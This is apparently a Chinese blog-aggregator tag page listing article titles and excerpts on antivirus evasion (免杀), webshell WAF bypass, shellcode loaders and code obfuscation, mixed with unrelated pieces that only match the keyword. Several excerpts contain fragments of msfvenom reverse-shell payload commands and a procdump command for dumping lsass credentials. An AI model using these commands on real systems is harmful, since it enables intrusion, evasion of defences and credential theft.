免杀_花指令

乌鸦安全2021年度文章合集

你可以在这里找到我：GitHub：https://github.com/crow821B站：https://space.bilibili.com/299031221.免杀Invoke-Obfuscation
乌鸦安全·2022-07-21 11:10

易经的“中庸”思想二 见好就收

刘邦马上要建立大汉了，张良就找到韩信说，如果你现在功成身退，能避免杀身之祸。韩信没听张良的苦劝，他觉得刘邦能赢，就功劳我韩信没有一百，也有八十啊，怎么也得分为半壁河山，于是继续选择跟随刘邦。
摸鱼的豌豆·2022-07-21 00:38

【免杀】————4、Webshell如何bypass安全狗，D盾

前言相信各位师傅都有自己过waf一句话的思路，我这写一下自己常用的思路与及具体方法，如有错误，还望大家斧正。上次很多师傅问我要的web漏扫的github地址抱歉还不能给你们，（毕设没答辩完，而且还没写完Orz）Webshell这里，我主要是写phpwebshell的bypass（主要是其他的没研究过），安全狗的版本是在官网下载的apache4.0版本。D盾是2.0.9的在bypass之前我们得先了
FLy_鹏程万里·2022-07-04 21:14

Android 项目架构系列之代码的混淆

b5b2a5dfaaf4https://www.jianshu.com/p/390fdbd1361fhttps://juejin.cn/post/7067160833041629220代码混淆（Obfuscatedcode）亦称花指令
龙腾腾·2022-07-02 13:24

pyinstaller打包exe免杀和逆向浅析

本文首发于先知，免杀跨度时间长。全文：11720字，110图，阅读时间预计：30分钟。
乌鸦安全·2022-06-11 12:48

内网渗透 | powershell&wmic详解

基本使用0x004常用命令0x005powershell脚本0x006参考文章WMIC0x001基本概念0x002命令格式0x003常用命令1、目标系统相关2、用户管理0x004参考文章引子之前在内网渗透，免杀中到处能看到
1ance.·2022-05-29 13:34

MSF内网渗透实战

小熊保安本来还是想用cobaltstrike，但是由于某些原因，暂时关闭了cobaltstrike的服务器，正好用msf尝试做一次内网渗透熟悉熟悉，注：最初用蚁剑看了一下，此次目标主机没开杀软，所以以下内容不涉及免杀
zkzq·2022-05-21 16:46

【原创】ShellCode免杀的骚姿势

ShellCode免杀的骚姿势常见的免杀手法：shellcode(攻击代码)和加载程序的分离；Lolbins白利用加载shellcode（白名单利用）；shellcode混淆、编码解码；shellcode
黑羽sec·2022-05-05 14:00

PE文件结构与程序装载

PE文件结构与程序装载是掌握Windows逆向、加壳、免杀等技术的基础，本文详细记录了PE文件的基本结构，用编辑器对文件结构进行分析，并介绍程序装载的相关概念和基本过程。
Captain_RB·2022-05-05 08:42

第48天-WAF 绕过-权限控制之代码混淆及行为造轮子

思维导图Safedog代码层手写及脚本绕过变量覆盖，加密混淆，异或生成BTAliyun代码层手写及脚本绕过编码解码(变量覆盖，加密混淆，异或生成)ASP,PHP,ASPX,JSP,PY等后门免杀同理一句话后门的原理
IsecNoob·2022-04-18 12:17

Spring框架漏洞合集

前言上周用了一周的时间把java基础部分看完了（也就是能看懂代码），打算把常见java框架的漏洞复现一下，后面着重web端的渗透测试以及实战项目，还要学免杀、社工（任重道远），所以不打算学习java框架了
X1m0·2022-03-30 08:24

vulntarget-a靶场的学习思考

前言：最近玩了一下crow大表哥的靶场，觉得靶场打过之后确实是能用到很多技巧和知识，所以在这里做一些个人的学习总结，文章和靶场适合新人，因为不用做免杀，也可以让人初步的了解一下域环境靶场由星期五实验室与乌鸦安全共同维护
vlan911·2022-03-23 21:34

数据包中的加密之RC4加密介绍

在一次偶然间对GitHub上找的免杀马代码学习的时候才认识了这个加密方式，在这个行业之间人与人的差距不是一点半点。介绍：RC4算法的特点是算法简单，执行速度快。
你可以叫我风平·2022-03-23 10:24

Python安全开发——多线程Fuzz&Waf 异或免杀&爆破

1.概述：知识点：协议模块使用，Request爬虫技术，简易多线程技术，编码技术，Bypass后门技术目的：掌握利用强大的模块实现各种协议连接操作(爆破或利用等)，配合Fuzz吊打WAF等2.简单多线程技术、FTP模块实现协议爆破脚本：queue，threading模块使用、ftplib模块使用：遍历用户及密码字典、尝试连接执行命令判断ftp模块使用：https://www.cnblogs.com
暮w光·2022-03-09 05:46

Jsp Webshell 免杀-命令执行

在经过java基础学习之后，尝试对java命令执行的webshell进行免杀处理。命令执行在之前的Java命令执行中学习了执行系统命令的几个类。这次我们还是以经典的Runtime类来测试。")
CSeroad·2022-03-07 10:30

Jsp Webshell 免杀-类加载器

前言在经过java类加载器的学习，我们对webshell的免杀处理就可以更进一步。自定义类加载器-命令执行对于如何自定义类加载的详细过程，可参考Java类加载器学习。这里就不多阐述了。
CSeroad·2022-02-17 15:12

记一则免杀技巧

CobaltStrike+Metasploit联动里提到了CS与MSF联动的场景类似这种后渗透环境中，我一直在琢磨怎样才能神不知鬼不觉地执行一个meterpreter这种功能强大的Payload网上关于免杀和隐蔽执行的思路与技巧有很多
慕长风啊·2022-02-14 11:38

刚工作，不知道怎么变得专业

今天特么可贼热，我QQ上又来了一个想搞暧昧的寂寞人，我拒绝了一次，哎，又给我来了第二次，可是特么这样都能撩动我，可见人性是多么软弱，理智是多么脆弱，我活了20年，就是跟人性斗争的血泪史，他让我避免杀身之祸
三个么么哒·2022-02-09 14:39

webshell之jsp免杀

webshell之jsp免杀转载自webshell免杀研究原理向服务器端发送恶意代码写成的文件(即：shell)，客户端通过远程连接，利用shell连接到服务器，并可对服务器进行操作。
tomyyyyy·2022-02-05 21:06

weevely的使用及免杀（Linux中的菜刀）

本专栏是笔者的网络安全学习笔记，一面分享，同时作为笔记前文链接WAMP/DVWA/sqli-labs搭建burpsuite工具抓包及Intruder暴力破解的使用目录扫描，请求重发，漏洞扫描等工具的使用网站信息收集及nmap的下载使用SQL注入(1)——了解成因和手工注入方法SQL注入(2)——各种注入SQL注入(3)——SQLMAPSQL注入(4)——实战SQL注入拿webshellVulnhu
漫路在线·2022-02-04 16:05

【免杀技术】Tomcat内存马-Filter

Tomcat内存马-Filter型什么是内存马？为什么要有内存马？什么又是Filter型内存马？这些问题在此就不做赘述Filter加载流程分析tomcat启动后正常情况下对于Filter的处理过程：加载web.xml配置文件读取filter的信息，并将其保存在context对象里的filterDef,filterConfigs,filterMappers中filterChain的构造流程:1.匹配
Aurora-M·2022-02-04 15:00

VC++源码免杀教程 286合购网ghost免杀教程

网络攻防技术中的免杀技术是十分有趣的,尤其要说ghostvc++源码免杀,过掉国内的杀毒软件,达到不损坏功能,正常上线,从而无视杀软的存在.免杀之网络攻防入门书籍推荐1.杀不死的秘密-反汇编揭露黑客免杀变种技术
玩弄你们·2022-02-03 06:16

内网渗透-免杀抓取windows hash

前言内网渗透时，获得主机管理员权限后，通常会抓取用户的明文密码或hash，进行pth攻击。大部分情况会遇到防护软件，常规抓取方法失效，因此需要对防护进行绕过。Procdump.exeProcdump是微软官方发布的工具，使用该工具可以把lsass的内存dump下来，可以绕过大多数的防护软件。首先使用procdump.exe把进程lsass.exe的内存dump下来procdump.exe-acce
Tide_诺言·2022-02-02 22:05

Python免杀木马轻松过Defender，秒杀36*和火*

测试环境联网的Win10，开启了Defender最新的火绒和360杀毒Defender肯定要取消上传可疑文件的！测试步骤这里使用CS生成python类型的木马文件，并对生成的shellcode进行Base64编码和HEX编码，将编码后的shellcode分成几个文件存放，再去请求下载并解码，最后将解码后的shellcode加载到内存中。编译成EXE，顺便使用upx压缩下：开启Defender的Wi
LMcream·2022-01-27 09:21

红队远控免杀初探

免杀初探自己一直是研究wb安全方向比较多，对红队远控免杀的认知基本没有，一直是听着大哥们说，却一直没有静下心来系统性的学习过，这里记录下免杀的学习记录。
CKCsec·2021-12-02 14:46

Assassin暗杀者-自用短小精悍的webshell管理工具分享

自用工具开源互相学习，工具短小精悍，生成的webshell能够过目前主流杀毒软件(36x、腾x等，目前能过，后面可能很快就不行了，需要稍微变换webshell代码以再次免杀)连接后交互的流量特征几乎没有
b1ackc4t·2021-11-23 21:00

windows命令混淆

最近有些朋友问我一些免杀问题，由于个人技术有限，对静态免杀有些了解（动态免杀真的不会，太菜了），所以就总结了一些Windows中cmd的命令混淆思路，静态免杀无非就是对安全设备检测到代码（命令）中的特征字符进行查杀
·2021-11-10 17:19

【Web安全】JSP内存马研究

前言最近在研究webshell免杀的问题，到了内存马免杀部分发现传统的Filter或者Servlet查杀手段比较多，不太容易实现免杀，比如有些工具会将所有注册的Servlet和Filter拿出来，排查人员仔细一点还是会被查出来的
IT老涵·2021-10-19 16:08

Metasploit 实现木马生成、捆绑及免杀

木马的捆绑在社会工程学中是我们经常使用的手段，而为了躲避杀毒软件的查杀，我们又不得不对木马进行免杀处理。
·2021-10-08 14:06

渗透测试-木马免杀的几种方式

前言免杀，又叫免杀毒技术，是反病毒，反间谍的对立面，是一种能使病毒或木马免于被杀毒软件查杀的软件。它除了使病毒木马免于被查杀外，还可以扩增病毒木马的功能，改变病毒木马的行为。
白面安全猿·2021-09-28 21:25

《水浒传》专题探究之英雄辨析（二）

结识英雄过渡语：有人说，这些梁山好汉中，有些人不是“真英雄”，如宋江怕李逵造反，在临死前为了保住自己的虚名，竟然毒死自己肝胆相照的好兄弟，不是英雄所为；武松在血洗鸳鸯楼时，杀死张都监家眷和仆人十几人，不免杀心过重
一一真·2021-09-23 03:38

红队培训班作业 | 五种免杀bypass火绒360姿势横向测评：哪款更适合你？

文章来源｜MS08067红队培训班第12节课作业本文作者：某学员A（红队培训班1期学员）按老师要求尝试完成布置的作业如下：一、远程线程注入（一）通过MSF生成payload通过msfvenom生成payload，命令如下：msfvenom-pwindows/meterpreter/reverse_tcplhost=192.168.61.103lport=4444-ex86/shikata_ga_n
Ms08067安全实验室·2021-09-01 07:00

红队培训班作业 | 免杀过360和火绒 四种方法大对比

MS08067红队培训班第12节课作业本文作者：汤浩荡（红队培训班1期学员）按老师要求尝试完成布置的作业如下：环境准备：Kalilinux安装cs4.2，Windows7系统安装火绒杀毒和360杀毒，为测试免杀并且防止联网查杀
Ms08067安全实验室·2021-08-16 07:00

让你彻底会安卓Proguard混淆

代码混淆（Obfuscatedcode）亦称花指令，是将计算机程序的代码，转换成一种功能上等价，但是难于阅读和理解的形式的行为。
zhangchunlin·2021-06-11 23:46

后渗透免杀返回shell教程

一天一个入狱小技巧,教程地址:https://www.bilibili.com/video/BV1xa4y1p7Kr
表弟_十七·2021-06-08 20:34

无力吐槽的命运

话说过年家家户户不免杀鸡杀鸭的，一邻居抱怨说：哎呀，今早就要杀了，结果忘记了，还喂了一肚子饱饱的。我九十岁的爷爷接话了：过去犯人要砍头的时候还得给一顿饱，你就多喂一把谷子又算得了什么。
不思九八·2021-06-05 13:13

powershell加密、压缩 免杀实战

结合"PowerShellcrypter"工具(下面用简称"crypter")来对powershell脚本进行加密并采用Gzip/DEFLATE来绕过杀软1、msfvenom生成powershell反弹马msfvenom-pwindows/x64/meterpreter_reverse_tcpLHOST=192.168.81.253LPORT=5555-fpsh-reflection>hacksh
城市烈人·2021-06-04 14:22

探索跟盈利矛盾

新证明新数据，容错，不很确定的，隐藏免杀的走两步，共存，但总的仍掌控。大数据动轨迹。仍在我的掌控下，动，所以为监控。有限的资源开发监控非常不
gbaidu2009_·2021-05-28 07:46

python免杀技术---复现+改进----1

0x01复现复现文章：https://mp.weixin.qq.com/s?__biz=MzI3MzUwMTQwNg==&mid=2247484733&idx=2&sn=5b8f439c2998ce089eb44541d2da7a15&chksm=eb231%E2%80%A6首先用cobaltstruke生成一个python的payload脚本然后复制里面的payload进行Base64编码：加密
go0dStudy·2021-05-22 20:44

python免杀技术---shellcode的加载与执行

0x01生成shellcode首先通过下列命令生成一个shellcode，使用msfvenom-p选项来指定paylaod，这里选用windows/x64、exec模块接收的参数。使用calc.exe执行弹出计算器的操作。-f选项用来执行生成的shellcdoe的编译语言。msfvenom-pwindows/x64/execCMD='calc.exe'-fpy0x02加载与执行shellcode的
go0dStudy·2021-05-22 15:07

使用Metasploit对Windows系统渗透测试——加壳免杀花指令

文章目录前言一、准备工作1.生成被控端攻击载荷2.生成主控端handler二、获取winxp的shell三、获取win7的shell四、获取win10的shell1.免杀+捆绑2.加壳+压缩3.花指令4
我重来不说话·2021-05-21 21:51

WAF绕过--小马绕过

WAF绕过之小马免杀WAF：安全狗-Apache版v4正常的PHP一句话木马：对于这个正常的一句话木马，安全狗会拦截。关于拦截其实最主要的还是测试，看看Waf究竟怎么拦截。
wwxxee·2021-05-17 22:22

我想我们在这里会好好的

因为去超市买东西，玛蒂达才得以避免杀生之祸，她径直走向里昂的房间，急促的敲门。并用颤抖恳求的声音说道，请开门！里昂虽有所犹豫终究还是打开了那扇关乎玛蒂达生死
夏天丫头·2021-05-08 13:15

iOS代码混淆

代码易读字符串混淆混淆分许多思路，比如：1）花代码花指令，即随意往程序中加入迷惑人的代码指令2）易读字符替换防止class-dump出可读信息的有效办法是易读字符替换1.首先切换到我们的项目目录下，我这里是统一放在了
Mikayla321·2021-05-06 21:25

shellcode免杀思路

shellcode免杀思路使用msfconsole生产的shellcode之后正常写入到程序的内存里面的话会直接被杀毒软件静态查杀就能杀掉。
不吃茄子的汪·2021-05-04 23:33

使用msf渗透安卓系统

meterpreter/reverse_tcpLHOST=192.168.1.7LPORT=5555R>/root/apk.apkLHOST本地的IP地址LPORT反向连接到主机的端口R>木马生成的保存输出路径至于木马的免杀暂且不谈
__周__·2021-05-04 14:10

代码混淆工具——Virbox Protector Standalone

代码混淆：利用花指令和代码非等价变形等技术，将程序的代码，转换成一种功能上等价，但是难于阅读和理解的代码，可充分干扰静态分析。
辉这样说·2021-05-04 09:45

Android混淆记

简介代码混淆（Obfuscatedcode）亦称花指令，是将计算机程序的代码，转换成一种功能上等价，但是难于阅读和理解的形式的行为。
周蛋蛋·2021-04-22 08:15

使用msf渗透安卓系统

meterpreter/reverse_tcpLHOST=192.168.1.7LPORT=5555R>/root/apk.apkLHOST本地的IP地址LPORT反向连接到主机的端口R>木马生成的保存输出路径至于木马的免杀暂且不谈
二潘·2021-04-20 15:06

笔记||在raisepig中偶遇花指令

实验环境：ubuntu16.0464位。实验工具：ida.实验程序：强网杯(全国)2018raisepig程序界面如下：image.png发现问题：在main函数中的功能函数都无法使用IDA的F5功能。image.pngimage.png查看他们的汇编代码，发现有多余的指令。如下图是sub_C8F()函数的一个跳转指令。image.png首先，最显眼的是addrsp,4。为什么要调整栈空间呢？然后
能喝果汁不喝酒·2021-04-19 12:06
上一页 5 6 7 8 9 10 11 12 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他